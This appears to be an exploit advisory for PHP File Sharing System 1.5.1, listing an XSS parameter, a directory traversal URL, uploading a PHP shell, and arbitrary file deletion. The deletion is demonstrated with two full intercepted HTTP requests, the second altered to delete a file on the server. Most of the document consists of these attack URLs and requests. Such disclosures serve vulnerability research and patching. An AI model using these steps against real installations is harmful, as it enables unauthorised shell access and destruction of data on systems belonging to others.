41 lines
No EOL
1.4 KiB
Text
41 lines
No EOL
1.4 KiB
Text
Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities
|
|
Author: blake
|
|
Tested on: Windows XP SP3 with xampplite
|
|
|
|
|
|
1) XSS
|
|
http://192.168.1.149/fss/index.php?cam=
|
|
|
|
2) Directory transversal
|
|
http://192.168.1.149/fss/index.php?cam=/../../../../../../../..
|
|
|
|
3) Shell through file upload
|
|
can upload php shell, click on file, and get shell
|
|
|
|
4) can intercept requests using proxy and delete system files
|
|
|
|
intercept request in webscarab
|
|
|
|
GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=./uploads/reverse_shell_windows.php HTTP/1.1
|
|
Host: 192.168.1.149
|
|
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-us,en;q=0.5
|
|
Accept-Encoding: gzip,deflate
|
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
|
Keep-Alive: 300
|
|
Proxy-Connection: keep-alive
|
|
Referer: http://192.168.1.149/fss/index.php?cam=
|
|
|
|
and modify
|
|
|
|
GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=log.txt HTTP/1.1
|
|
Host: 192.168.1.149
|
|
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-us,en;q=0.5
|
|
Accept-Encoding: gzip,deflate
|
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
|
Keep-Alive: 300
|
|
Proxy-Connection: keep-alive
|
|
Referer: http://192.168.1.149/fss/index.php?cam= |